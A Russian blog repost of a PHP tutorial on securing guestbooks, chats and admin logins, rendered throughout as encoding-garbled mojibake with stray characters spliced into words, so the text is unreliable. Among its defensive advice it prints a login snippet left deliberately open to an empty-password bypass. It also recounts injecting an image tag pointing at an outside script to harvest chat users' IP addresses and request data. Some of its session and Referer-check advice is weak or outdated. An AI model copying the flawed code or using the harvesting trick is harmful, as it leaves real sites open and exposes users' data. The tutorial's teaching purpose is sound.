-Ïðèëîæåíèÿ

  • Ïåðåéòè ê ïðèëîæåíèþ Îòêðûòêè ÎòêðûòêèÏåðåðîæäåííûé êàòàëîã îòêðûòîê íà âñå ñëó÷àè æèçíè
  • Ïåðåéòè ê ïðèëîæåíèþ ß - ôîòîãðàô ß - ôîòîãðàôÏëàãèí äëÿ ïóáëèêàöèè ôîòîãðàôèé â äíåâíèêå ïîëüçîâàòåëÿ. Ìèíèìàëüíûå ñèñòåìíûå òðåáîâàíèÿ: Internet Explorer 6, Fire Fox 1.5, Opera 9.5, Safari 3.1.1 ñî âêëþ÷åííûì JavaScript. Âîçìîæíî ýòî áóäåò ðàáî
  • Âñå íà êàðòå

 -Ïîèñê ïî äíåâíèêó

Ïîèñê ñîîáùåíèé â Net-man

 -Ïîäïèñêà ïî e-mail

 

 -Ñòàòèñòèêà

Ñòàòèñòèêà LiveInternet.ru: ïîêàçàíî êîëè÷åñòâî õèòîâ è ïîñåòèòåëåé
Ñîçäàí: 20.04.2010
Çàïèñåé: 814
Êîììåíòàðèåâ: 5985
Íàïèñàíî: 11575


Óðîêè ïî PHP: Ïðèåìû áåçîïàñíîãî ïðîãðàììèðîâàíèÿ âåá-ïðèëîæåíèé íà PHP

Âòîðíèê, 17 Ìàÿ 2011 ã. 19:54 + â öèòàòíèê

Äàííàÿ ñòàòüÿ íå ïðåòåíäóåò íà ðîëü âñåîáúåìëþùåãî ðóêîâîäñòâà íà òåìó "êàê ñäåëàòü òàê, ÷òîá ìåíÿ íèêòî íå ïîëîìàë". Òàê íå áûâàåò. Åäèíñòâåííàÿ öåëü ýòîé ñòàòüè - ïîêàçàòü íåêîòîðûå èñïîëüçóåìûå ïðèåìû äëÿ çàùèòû âåá-ïðèëîæåíèé òèïà WWW-÷àòîâ, ãîñòåâûõ êíèã, âåá-ôîðóìîâ è äðóãèõ ïðèëîæåíèé ïîäîáíîãî ðîäà. Èòàê, äàâàéòå ðàññìîòðèì íåêîòîðûå ïðèåìû ïðîãðàììèðîâàíèÿ íà ïðèìåðå íåêîåé ãîñòåâîé êíèãè, íàïèñàííîé íà PHP.

Ïåðâîé çàïîâåäüþ âåá-ïðîãðàììèñòà, æåëàþùåãî íàïèñàòü áîëåå-ìåíåå çàùèùåííîå âåá-ïðèëîæåíèå, äîëæíî ñòàòü "Íèêîãäà íå âåðü äàííûì, ïðèñûëàåìûì òåáå ïîëüçîâàòåëåì". Ïîëüçîâàòåëè - ýòî ïî îïðåäåëåíèþ òàêèå çëîáíûå õàêåðû, êîòîðûå òîëüêî è èùóò ìîìåíòà, êàê áû íàïèõàòü â ôîðìû ââîäà âñÿêóþ äðÿíü òèïà PHP, JavaScript, SSI, âûçîâîâ ñâîèõ æóòêî õàêåðñêèõ ñêðèïòîâ è òîìó ïîäîáíûõ óæàñíûõ âåùåé. Ïîýòîìó ïåðâîå, ÷òî íåîáõîäèìî ñäåëàòü - ýòî æåñòî÷àéøèì îáðàçîì îòôèëüòðîâàòü âñå äàííûå, ïðèñëàííûå ïîëüçîâàòåëåì.

Äîïóñòèì, ó íàñ â ãîñòåâîé êíèãå ñóùåñòâóåò 3 ôîðìû ââîäà: èìÿ ïîëüçîâàòåëÿ, åãî e-mail è ñàìî ïî ñåáå òåëî ñîîáùåíèÿ. Ïðåæäå âñåãî, îãðàíè÷èì êîëè÷åñòâî äàííûõ, ïåðåäàâàåìûõ èç ôîðì ââîäà ÷åì-íèáóäü âðîäå:

<input type=text name=username maxlength=20>
Íà ðîëü íàñòîÿùåé çàùèòû, êîíå÷íî, ýòî ïðåòåíäîâàòü íå ìîæåò - åäèíñòâåííîå íàçíà÷åíèå ýòîãî ýëåìåíòà - îãðàíè÷èòü ïîëüçîâàòåëÿ îò ñëó÷àéíîãî ââîäà èìåíè äëèííåå 20-òè ñèìâîëîâ. À äëÿ òîãî, ÷òîáû ó ïîëüçîâàòåëÿ íå âîçíèêëî èñêóøåíèÿ ñêà÷àòü äîêóìåíò ñ ôîðìàìè ââîäà è ïîäïðàâèòü ïàðàìåòð maxlength, óñòàíîâèì ãäå-íèáóäü â ñàìîì íà÷àëå ñêðèïòà, îáðàáàòûâàþùåãî äàííûå, ïðîâåðêó ïåðåìåííîé îêðóæåíèÿ web-ñåðâåðà HTTP-REFERER:

<? $referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com", $referer)) {
echo "hacker? he-he...\n";
exit;
}
?>

Òåïåðü, åñëè äàííûå ïåðåäàíû íå èç ôîðì äîêóìåíòà, íàõîäÿùåãîñÿ íà ñåðâåðå www.myserver.com, õàöêåðó áóäåò âûäàíî äåìîðàëèçóþùåå ñîîáùåíèå. Íà ñàìîì äåëå, è ýòî òîæå íå ìîæåò ñëóæèòü 100%-îé ãàðàíòèåé òîãî, ÷òî äàííûå ÄÅÉÑÒÂÈÒÅËÜÍÎ ïåðåäàíû èç íàøåãî äîêóìåíòà.  êîíöå êîíöîâ, ïåðåìåííàÿ HTTP_REFERER ôîðìèðóåòñÿ áðàóçåðîì, è íèêòî íå ìîæåò ïîìåøàòü õàêåðó ïîäïðàâèòü êîä áðàóçåðà, èëè ïðîñòî çàéòè òåëíåòîì íà 80-ûé ïîðò è ñôîðìèðîâàòü ñâîé çàïðîñ. Òàê ÷òî ïîäîáíàÿ çàùèòà ãîäèòñÿ òîëüêî îò Íó Ñîâñåì Íåîáðàçîâàííûõ õàêåðîâ. Âïðî÷åì, ïî ìîèì íàáëþäåíèÿì, îêîëî 80% ïðîöåíòîâ çëîóìûøëåííèêîâ íà ýòîì ýòàïå îñòàíàâëèâàþòñÿ è äàëüøå íå ëåçóò - òî ëè IQ íå ïîçâîëÿåò, òî ëè ïðîñòî ëåíü. Ëè÷íî ÿ ïîïðîñòó âûíåñ ýòîò ôðàãìåíò êîäà â îòäåëüíûé ôàéë, è âûçûâàþ åãî îòîâñþäó, îòêóäà ýòî âîçìîæíî. Âðåìåíè íà îáðàùåíèå ê ïåðåìåííîé óõîäèò íåìíîãî - à áåðåæåíîãî Áîã áåðåæåò.

Ñëåäóþùèì ýòàïîì ñòàíåò ïðåñëîâóòàÿ æåñòêàÿ ôèëüòðàöèÿ ïåðåäàííûõ äàííûõ. Ïðåæäå âñåãî, íå áóäåì äîâåðÿòü ïåðåìåííîé maxlength â ôîðìàõ ââîäà è ðó÷êàìè ïîðåæåì ñòðîêó:

$username=substr($username,0,20);

Íå äàäèì ïîëüçîâàòåëþ èñïîëüçîâàòü ïóñòîå ïîëå èìåíè - ïðîñòî òàê, ÷òîáû íå äàâàòü ïèñàòü àíîíèìíûå ñîîáùåíèÿ:

if (empty($username)) {
echo "invalid username";
exit;
}

Çàïðåòèì ïîëüçîâàòåëþ èñïîëüçîâàòü â ñâîåì èìåíè ëþáûå ñèìâîëû, êðîìå áóêâ ðóññêîãî è ëàòèíñêîãî àëôàâèòà, çíàêà "_" (ïîä÷åðê), ïðîáåëà è öèôð:

if (preg_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) {
echo "invalid username";
exit;
}

ß ïðåäïî÷èòàþ âåçäå, ãäå íóæíî ÷òî-íèáóäü áîëåå ñëîæíîå, ÷åì ïðîâåðèòü íàëè÷èå ïàòòåðíà â ñòðîêå èëè ïîìåíÿòü îäèí ïàòòåðí íà äðóãîé, èñïîëüçîâàòü Ïåðë-ñîâìåñòèìûå ðåãóëÿðíûå âûðàæåíèÿ (Perl-compatible Regular Expressions). Òî æå ñàìîå ìîæíî äåëàòü è èñïîëüçóÿ ñòàíäàðòíûå PHP-øíûå ereg() è eregi(). ß íå áóäó ïðèâîäèòü çäåñü ýòè ïðèìåðû - ýòî äîñòàòî÷íî ïîäðîáíî îïèñàíî â ìàíóàëå.

Äëÿ ïîëÿ ââîäà àäðåñà e-mail äîáà 1000 âèì â ñïèñîê ðàçðåøåííûõ ñèìâîëîâ çíàêè "@" è ".", èíà÷å ïîëüçîâàòåëü íå ñìîæåò êîððåêòíî ââåñòè àäðåñ. Çàòî óáåðåì ðóññêèå áóêâû è ïðîáåë:

if (preg_match("/[^(\w)|(\@)|(\.)]/",$usermail)) {
echo "invalid mail";
exit;
}

Ïîëå ââîäà òåêñòà ìû íå áóäåì ïîäâåðãàòü òàêèì æåñòêèì ðåïðåññèÿì - ïåðåáèðàòü âñå çíàêè ïðåïèíàíèÿ, êîòîðûå ìîæíî èñïîëüçîâàòü, ïîïðîñòó ëåíü, ïîýòîìó îãðàíè÷èìñÿ èñïîëüçîâàíèåì ôóíêöèé nl2br() è htmlspecialchars() - ýòî íå äàñò âðàãó ïîíàòûêàòü â òåêñò ñîîáùåíèÿ html-òåãîâ. Íåêîòîðûå ðàçðàáîò÷èêè, íàâåðíîå, ñêàæóò: "à ìû âñå-òàêè î÷åíü õîòèì, ÷òîáû ïîëüçîâàòåëè _ìîãëè_ âñòàâëÿòü òåãè". Åñëè ñèëüíî íåéìåòñÿ - ìîæíî ñäåëàòü íåêèå òåãîçàìåíèòåëè, òèïà "òåêñò, îêðóæåííûé çâåçäî÷êàìè, áóäåò âûñâå÷åí bold'îì.". Íî íèêîãäà íå ñëåäóåò ðàçðåøàòü ïîëüçîâàòåëÿì èñïîëüçîâàíèå òåãîâ, ïîäðàçóìåâàþùèõ ïîäêëþ÷åíèå âíåøíèõ ðåñóðñîâ - îò òðèâèàëüíîãî <img> äî ñóïåðíàâîðî÷åííîãî <bgsound>.

Êàê-òî ðàç ìåíÿ ïîïðîñèëè ïîòåñòèðîâàòü html-÷àò. Ïåðâûì æå çàìå÷åííûì ìíîé áàãîì áûëî èìåííî ðàçðåøåíèå âñòàâêè êàðòèíîê. Ó÷èòûâàÿ åùå ïàðó îñîáåííîñòåé ñòðîåíèÿ ÷àòà, ÷åðåç íåñêîëüêî ìèíóò ó ìåíÿ áûë ôàéë, â êîòîðîì àêêóðàòíî áûëè ïåðå÷èñëåíû IP-àäðåñà, èìåíà è ïàðîëè âñåõ ïðèñóòñòâîâàâøèõ â ýòîò ìîìåíò íà ÷àòå ïîëüçîâàòåëåé. Êàê? Äà î÷åíü ïðîñòî - ÷àòó áûë ïîñëàí òåã <img src=http://myserver.com/myscript.pl>, â ðåçóëüòàòå ÷åãî áðàóçåðû âñåõ ïîëüçîâàòåëåé, ïðèñóòñòâîâàâøèõ â òîò ìîìåíò íà ÷àòå, âûçâàëè ñêðèïò myscript.pl ñ õîñòà myserver.com. (òàì íå áûëî ëþäåé, ñèäåâøèõ ïîä lynx'îì :-) ). À ñêðèïò, ïåðåä òåì êàê âûäàòü location íà êàðòèíêó, ñâàëèë ìíå â ëîã-ôàéë ïîëîâèíó ïåðåìåííûõ îêðóæåíèÿ - â ÷àñòíîñòè QUERY_STRING, REMOTE_ADDR è äðóãèõ. Äëÿ êàæäîãî ïîëüçîâàòåëÿ. Ñ âûøåóïîìÿíóòûì ðåçóëüòàòîì.

Ïîñåìó ìîå ìíåíèå - äà, ðàçðåøèòü âñòàâêó html-òåãîâ â ÷àòàõ, ôîðóìàõ è ãîñòåâûõ êíèãàõ - ýòî êðàñèâî, íî èãðà íå ñòîèò ñâå÷ - âðÿä ëè ïîëüçîâàòåëè ïîéäóò ê Âàì íà êíèãó èëè â ÷àò, çíàÿ, ÷òî èõ IP ìîæåò ñòàòü èçâåñòíûì ïåðâîìó âñòðå÷íîìó õàêåðó. Äà è íå òîëüêî IP - âîçìîæíîñòè javascript'a ÿ ïåðå÷èñëÿòü íå áóäó :-)

Äëÿ ïðèìèòèâíîé ãîñòåâîé êíèãè ïåðå÷èñëåííûõ ñðåäñòâ õâàòèò, ÷òîáû ñäåëàòü åå áîëåå-ìåíåå ñëîæíîé äëÿ âçëîìà. Îäíàêî äëÿ óäîáñòâà, êíèãè îáû÷íî ñîäåðæàò íåêîòîðûå âîçìîæíîñòè äëÿ ìîäåðèðîâàíèÿ - êàê ìèíèìóì, âîçìîæíîñòü óäàëåíèÿ ñîîáùåíèé. Ðàçðåøåííóþ, åñòåñòâåííî, óçêîìó (èëè íå î÷åíü) êðóãó ëèö. Ïîñìîòðèì, ÷òî ìîæíî ñäåëàòü çäåñü.

Äîïóñòèì, âñÿ ñèñòåìà ìîäåðèðîâàíèÿ êíèãè òàêæå ñîñòîèò èç äâóõ ÷àñòåé - ñòðàíèöû ñî ñïèñêîì ñîîáùåíèé, ãäå ìîæíî îòìå÷àòü ïîäëåæàùèå óäàëåíèþ ñîîáùåíèÿ, è íåïîñðåäñòâåííî ñêðèïòà, óäàëÿþùåãî ñîîáùåíèÿ. Íàçîâåì èõ ñîîòâåòñòâåííî admin1.php è admin2.php.

Ïðîñòåéøèé è íàäåæíåéøèé ñïîñîá àóòåíòèêàöèè ïîëüçîâàòåëÿ - ðàçìåùåíèå ñêðèïòîâ â äèðåêòîðèè, çàùèùåííîé ôàéëîì .htaccess. Äëÿ ïðåîäîëåíèÿ òàêîé çàùèòû íóæíî óæå íå ïðèëîæåíèå ëîìàòü, à web-ñåðâåð. ×òî íåñêîëüêî ñëîæíåå è óæ, âî âñÿêîì ñëó÷àå, íå óêëàäûâàåòñÿ â ðàìêè òåìû ýòîé ñòàòüè. Îäíàêî íå âñåãäà ýòîò ñïîñîá ïðèãîäåí ê óïîòðåáëåíèþ - èíîãäà áûâàåò íàäî ïðîâîäèòü àâòîðèçàöèþ ñðåäñòâàìè ñàìîãî ïðèëîæåíèÿ.

Ïåðâûé, ñàìûé ïðîñòîé ñïîñîá - àâòîðèçàöèÿ ñðåäñòâàìè HTTP - ÷åðåç êîä 401. Ïðè âèäå òàêîãî êîäà âîçâðàòà, ëþáîé íîðìàëüíûé áðàóçåð âûñâåòèò îêîøêî àâòîðèçàöèè è ïîïðîñèò ââåñòè ëîãèí è ïàðîëü. À â äàëüíåéøåì áðàóçåð ïðè ïîëó÷åíèè êîäà 401 áóäåò ïûòàòüñÿ ïîäñóíóòü web-ñåðâåðó òåêóùèå äëÿ äàííîãî realm'à ëîãèí è ïàðîëü, è òîëüêî â ñëó÷àå íåóäà÷è ïîòðåáóåò ïîâòîðíîé àâòîðèçàöèè. Ïðèìåð êîäà äëÿ âûâîäà òðåáîâàíèÿ íà òàêóþ àâòîðèçàöèþ åñòü âî âñåõ õðåñòîìàòèÿõ è ìàíóàëàõ:

if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm=\"My Realm\"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}

Ðàçìåñòèì ýòîò êóñî÷åê êîäà â íà÷àëå ñêðèïòà admin1.php. Ïîñëå åãî âûïîëíåíèÿ, ó íàñ áóäóò äâå óñòàíîâëåííûå ïåðåìåííûå $PHP_AUTH_USER è PHP_AUTH_PW, â êîòîðûõ ñîîòâåòñòâåííî áóäóò ëåæàòü èìÿ è ïàðîëü, ââåäåííûå ïîëüçîâàòåëåì. Èõ ìîæíî, ê ïðèìå 1000 ðó, ïðîâåðèòü ïî SQL-áàçå:

*** Âíèìàíèå!!!***

 ïðèâåäåííîì íèæå ôðàãìåíòå êîäà ñîçíàòåëüíî äîïóùåíà ñåðüåçíàÿ îøèáêà â áåçîïàñíîñòè. Ïîïûòàéòåñü íàéòè åå ñàìîñòîÿòåëüíî.

$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm=\"My Realm\"");
exit;
}

Óïîìÿíóòàÿ îøèáêà, ìåæäó ïðî÷èì, î÷åíü ðàñïðîñòðàíåíà ñðåäè íà÷èíàþùèõ è íåâíèìàòåëüíûõ ïðîãðàììèñòîâ. Êîãäà-òî ÿ ñàì ïîéìàëñÿ íà ýòó óäî÷êó - ïî ñ÷àñòüþ, îñîáîãî âðåäà ýòî íå ïðèíåñëî, íå ñ÷èòàÿ îñòàâëåííûõ õàêåðîì â íîâîñòíîé ëåíòå íåñêîëüêèõ íåöåíçóðíûõ ôðàç.

Èòàê, ðàñêðûâàþ ñåêðåò: äîïóñòèì, õàêåð ââîäèò çàâåäîìî íåñóùåñòâóþùåå èìÿ ïîëüçîâàòåëÿ è ïóñòîé ïàðîëü. Ïðè ýòîì â ðåçóëüòàòå âûáîðêè èç áàçû ïåðåìåííàÿ $rpassword ïðèíèìàåò ïóñòîå çíà÷åíèå. À àëãîðèòì øèôðîâàíèÿ ïàðîëåé ïðè ïîìîùè ôóíêöèè ÑÓÁÄ MySQL Password(), òàê æå, âïðî÷åì, êàê è ñòàíäàðòíûé àëãîðèòì Unix, ïðè ïîïûòêå øèôðîâàíèÿ ïóñòîãî ïàðîëÿ âîçâðàùàåò ïóñòîå çíà÷åíèå.  èòîãå - $password == $rpassword, óñëîâèå âûïîëíÿåòñÿ è âçëîìùèê ïîëó÷àåò äîñòóï ê çàùèùåííîé ÷àñòè ïðèëîæåíèÿ. Ëå÷èòñÿ ýòî ëèáî çàïðåùåíèåì ïóñòûõ ïàðîëåé, ëèáî, íà ìîé âçãëÿä, áîëåå ïðàâèëüíûé ïóòü - âñòàâêîé ñëåäóþùåãî ôðàãìåíòà êîäà:

if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm=\"My Realm\"");
exit;
}

Òî åñòü - ïðîâåðêîé íàëè÷èÿ îäíîãî è òîëüêî îäíîãî ïîëüçîâàòåëÿ â áàçå. Íè áîëüøå, íè ìåíüøå.

Òî÷íî òàêóþ æå ïðîâåðêó íà àâòîðèçàöèþ ñòîèò âñòðîèòü è â ñêðèïò admin2.php. Ïî èäåå, åñëè ïîëüçîâàòåëü õîðîøèé ÷åëîâåê - òî îí ïðèõîäèò ê admin2.php ÷åðåç admin1.php, à çíà÷èò, óæå ÿâëÿåòñÿ àâòîðèçîâàííûì è íèêàêèõ ïîâòîðíûõ âîïðîñîâ åìó íå áóäåò - áðàóçåð âòèõîìîëêó ïåðåäàñò ïàðîëü. Åñëè æå íåò - íó, òîãäà è ïîðóãàòüñÿ íå ãðåõ. Ñêàæåì, âûâåñòè òó æå ôðàçó "hacker? he-he...".

Ê ñîæàëåíèþ, íå âñåãäà óäàåòñÿ âîñïîëüçîâàòüñÿ àëãîðèòìîì àâòîðèçàöèè ÷åðåç êîä 401 è ïðèõîäèòñÿ âûïîëíÿòü åå òîëüêî ñðåäñòâàìè ïðèëîæåíèÿ.  îáùåì ñëó÷àå ìîäåëü òàêîé àâòîðèçàöèè áóäåò ñëåäóþùåé:

Ïîëüçîâàòåëü îäèí ðàç àâòîðèçóåòñÿ ïðè ïîìîùè âåá-ôîðìû è ñêðèïòà, êîòîðûé ïðîâåðÿåò ïðàâèëüíîñòü èìåíè è ïàðîëÿ.
Îñòàëüíûå ñêðèïòû çàùèùåííîé ÷àñòè ïðèëîæåíèÿ êàêèì-íèáóäü îáðàçîì ïðîâåðÿþò ôàêò àâòîðèçîâàííîñòè ïîëüçîâàòåëÿ.
Òàêàÿ ìîäåëü íàçûâàåòñÿ ñåññèîííîé - ïîñëå ïðîõîæäåíèÿ àâòîðèçàöèè îòêðûâàåòñÿ òàê íàçûâàåìàÿ "ñåññèÿ", â òå÷åíèå êîòîðîé ïîëüçîâàòåëü èìååò äîñòóï ê çàùèùåííîé ÷àñòè ñèñòåìû. Ñåññèÿ çàêðûëàñü - äîñòóï çàêðûâàåòñÿ. Íà ýòîì ïðèíöèïå, â ÷àñòíîñòè, ñòðîèòñÿ áîëüøèíñòâî www-÷àòîâ: ïîëüçîâàòåëü ìîæåò ïîëó÷èòü äîñòóï ê ÷àòó òîëüêî ïîñëå òîãî, êàê ïðîéäåò ïðîöåäóðó âõîäà. Îñíîâíàÿ ñëîæíîñòü äàííîé ñõåìû çàêëþ÷àåòñÿ â òîì, ÷òî âñå ñêðèïòû çàùèùåííîé ÷àñòè ïðèëîæåíèÿ êàêèì-òî îáðàçîì äîëæíû çíàòü î òîì, ÷òî ïîëüçîâàòåëü, ïîñûëàþùèé äàííûå, óñïåøíî àâòîðèçîâàëñÿ.

Ðàññìîòðèì íåñêîëüêî âàðèàíòîâ, êàê ýòî ìîæíî ñäåëàòü:

Ïîñëå àâòîðèçàöèè âñå ñêðèïòû çàùèùåííîé ÷àñòè âûçûâàþòñÿ ñ íåêèì ôëàæêîì âèäà adminmode=1. (Íå íàäî ñìåÿòüñÿ - ÿ ñàì òàêîå âèäåë).
ßñíî, ÷òî ëþáîé, êîìó èçâåñòåí ôëàæîê adminmode, ìîæåò ñàì ñôîðìèðîâàòü URL è çàéòè â ðåæèìå àäìèíèñòðèðîâàíèÿ. Êðîìå òîãî - íåò âîçìîæíîñòè îòëè÷èòü îäíîãî ïîëüçîâàòåëÿ îò äðóãîãî.

Ñêðèïò àâòîðèçàöèè ìîæåò êàêèì-íèáóäü îáðàçîì ïåðåäàòü èìÿ ïîëüçîâàòåëÿ äðóãèì ñêðèïòàì. Ðàñïðîñòðàíåíî âî ìíîãèõ www-÷àòàõ - äëÿ òîãî, ÷òîáû îòëè÷èòü, ãäå ÷üå ñîîáùåíèå èäåò, ðÿäîì ñ ôîðìîé òèïà text äëÿ ââîäà ñîîáùåíèÿ, ïðèñòðàèâàåòñÿ ôîðìà òèïà hidden, ãäå óêàçûâàåòñÿ èìÿ ïîëüçîâàòåëÿ. Òîæå íåíàäåæíî, ïîòîìó ÷òî õàêåð ìîæåò ñêà÷àòü äîêóìåíò ñ ôîðìîé ê ñåáå íà äèñê è ïîìåíÿòü çíà÷åíèå ôîðìû hidden. Íåêîòîðóþ ïîëüçó çäåñü ìîæåò ïðèíåñòè âûøåó eb5 ïîìÿíóòàÿ ïðîâåðêà HTTP_REFERER - íî, êàê ÿ óæå ãîâîðèë, íèêàêèõ ãàðàíòèé îíà íå äàåò.
Îïðåäåëåíèå ïîëüçîâàòåëÿ ïî IP-àäðåñó.  ýòîì ñëó÷àå, ïîñëå ïðîõîæäåíèÿ àâòîðèçàöèè, ãäå-íèáóäü â ëîêàëüíîé áàçå äàííûõ (sql, dbm, äà õîòü â txt-ôàéëå) ñîõðàíÿåòñÿ òåêóùèé IP ïîëüçîâàòåëÿ, à âñå ñêðèïòû çàùèùåííîé ÷àñòè ñìîòðÿò â ïåðåìåííóþ REMOTE_ADDR è ïðîâåðÿþò, åñòü ëè òàêîé àäðåñ â áàçå. Åñëè åñòü - çíà÷èò, àâòîðèçàöèÿ áûëà, åñëè íåò - "hacker? he-he..." :-)
Ýòî áîëåå íàäåæíûé ñïîñîá - íå ïðîéòè àâòîðèçàöèþ è ïîëó÷èòü äîñòóï óäàñòñÿ ëèøü â òîì ñëó÷àå, åñëè ñ òîãî æå IP ñèäèò äðóãîé ïîëüçîâàòåëü, óñïåøíî àâòîðèçîâàâøèéñÿ. Îäíàêî, ó÷èòûâàÿ ðàñïðîñòðàíåííîñòü ïðîêñè-ñåðâåðîâ è IP-Masquerad'èíãà - ýòî âïîëíå ðåàëüíî.

Åäèíñòâåííûì, èçâåñòíûì ìíå ïðîñòûì è äîñòàòî÷íî íàäåæíûì ñïîñîáîì âåðèôèêàöèè ëè÷íîñòè ïîëüçîâàòåëÿ ÿâëÿåòñÿ àâòîðèçàöèÿ ïðè ïîìîùè random uid. Ðàññìîòðèì åå áîëåå ïîäðîáíî.
Ïîñëå àâòîðèçàöèè ïîëüçîâàòåëÿ ñêðèïò, ïðîâåäøèé àâòîðèçàöèþ, ãåíåðèðóåò äîñòàòî÷íî äëèííîå ñëó÷àéíîå ÷èñëî:

mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);

Ýòî ÷èñëî îí:

à) çàíîñèò â ëîêàëüíûé ñïèñîê àâòîðèçîâàâøèõñÿ ïîëüçîâàòåëåé;
á) Âûäàåò ïîëüçîâàòåëþ.

Ïîëüçîâàòåëü ïðè êàæäîì çàïðîñå, ïîìèìî äðóãîé èíôîðìàöèè (ñîîáùåíèå â ÷àòå, èëè ñïèñîê ñîîáùåíèé â ãîñòåâîé êíèãå), îòïðàâëÿåò ñåðâåðó ñâîé uid. Ïðè ýòîì â äîêóìåíòå ñ ôîðìàìè ââîäà áóäåò ïðèñóòñòâîâàòü, íàðÿäó ñ äðóãèìè ôîðìàìè, òåã âèäà:

<input type=hidden name=uid value=1234567890>

Ôîðìà uid íåâèäèìà äëÿ ïîëüçîâàòåëÿ, íî îíà ïåðåäàåòñÿ ñêðèïòó çàùèùåííîé ÷àñòè ïðèëîæåíèÿ. Òîò ñëè÷àåò ïåðåäàííûé åìó uid ñ uid'îì, õðàíÿùèìñÿ â ëîêàëüíîé áàçå è ëèáî âûïîëíÿåò ñâîþ ôóíêöèþ, ëèáî... "hacker? he-he...".

Åäèíñòâåííîå, ÷òî íåîáõîäèìî ñäåëàòü ïðè òàêîé îðãàíèçàöèè - ïåðèîäè÷åñêè ÷èñòèòü ëîêàëüíûé ñïèñîê uid'îâ è/èëè ñäåëàòü äëÿ ïîëüçîâàòåëÿ êíîïêó "âûõîä", ïðè íàæàòèè íà êîòîðóþ ëîêàëüíûé uid ïîëüçîâàòåëÿ ñîòðåòñÿ èç áàçû íà ñåðâåðå - ñåññèÿ çàêðûòà.

Íåêîòîðûå ïðîãðàììèñòû èñïîëüçóþò â êà÷åñòâå uid íå "îäíîðàçîâîå" äèíàìè÷åñêè ãåíåðèðóþùååñÿ ÷èñëî, à ïàðîëü ïîëüçîâàòåëÿ. Ýòî äîïóñòèìî, íî ýòî ÿâëÿåòñÿ "äóðíûì òîíîì", ïîñêîëüêó ïàðîëü ïîëüçîâàòåëÿ îáû÷íî íå ìåíÿåòñÿ îò ñåññèè ê ñåññèè, à çíà÷èò - õàêåð ñìîæåò ñàì îòêðûâàòü ñåññèè. Òà æå ñàìàÿ ìîäåëü ìîæåò áûòü èñïîëüçîâàíà âåçäå, ãäå òðåáóåòñÿ èäåíòèôèêàöèÿ ïîëüçîâàòåëÿ - â ÷àòàõ, âåá-êîíôåðåíöèÿõ, ýëåêòðîííûõ ìàãàçèíàõ.

 çàêëþ÷åíèå ñòîèò óïîìÿíóòü è î òàêîé ïîëåçíîé âåùè, êàê âåäåíèå ëîãîâ. Åñëè â êàæäóþ èç îïèñàííûõ ïðîöåäóð âñòðîèòü âîçìîæíîñòü çàíåñåíèÿ ñîáûòèÿ â ëîã-ôàéë ñ óêàçàíèåì IP-àäðåñà ïîòåíöèàëüíîãî çëîóìûøëåííèêà - òî â ñëó÷àå ðåàëüíîé àòàêè âû÷èñëèòü õàêåðà áóäåò ãîðàçäî ïðîùå, ïîñêîëüêó õàêåðû îáû÷íî ïðîáóþò ïîñëåäîâàòåëüíî óñëîæíÿþùèåñÿ àòàêè. Äëÿ îïðåäåëåíèÿ IP-àäðåñà æåëàòåëüíî èñïîëüçîâàòü íå òîëüêî ñòàíäàðòíóþ ïåðåìåííóþ REMOTE_ADDR, íî è ìåíåå èçâåñòíóþ HTTP_X_FORWARDED_FOR, êîòîðàÿ ïîçâîëÿåò îïðåäåëèòü IP ïîëüçîâàòåëÿ, íàõîäÿùåãîñÿ çà ïðîêñè-ñåðâåðîì. Åñòåñòâåííî - åñëè ïðîêñè ýòî ïîçâîëÿåò.

Ïðè âåäåíèè ëîã-ôàéëîâ, íåîáõîäèìî ïîìíèòü, ÷òî äîñòóï ê íèì äîëæåí áûòü òîëüêî ó Âàñ. Ëó÷øå âñåãî, åñëè îíè áóäóò ðàñïîëîæåíû çà ïðåäåëàìè äåðåâà êàòàëîãîâ, äîñòóïíîãî ÷åðåç WWW. Åñëè íåò òàêîé âîçìîæíîñòè - ñîçäàéòå îòäåëüíûé êàòàëîã äëÿ ëîã-ôàéëîâ è çàêðîéòå òóäà äîñòóï ïðè ïîìîùè .htaccess (Deny from all).



Èñòî÷íèê: http://www.web-support.ru/web-tech/php_4.shtml

Ðóáðèêè:  Ïîëåçíîå
Óðîêè ïî PHP
Ìåòêè:  

Ïðîöèòèðîâàíî 1 ðàç

 

Äîáàâèòü êîììåíòàðèé:
Òåêñò êîììåíòàðèÿ: ñìàéëèêè

Ïðîâåðêà îðôîãðàôèè: (íàéòè îøèáêè)

Ïðèêðåïèòü êàðòèíêó:

 Ïåðåâîäèòü URL â ññûëêó
 Ïîäïèñàòüñÿ íà êîììåíòàðèè
 Ïîäïèñàòü êàðòèíêó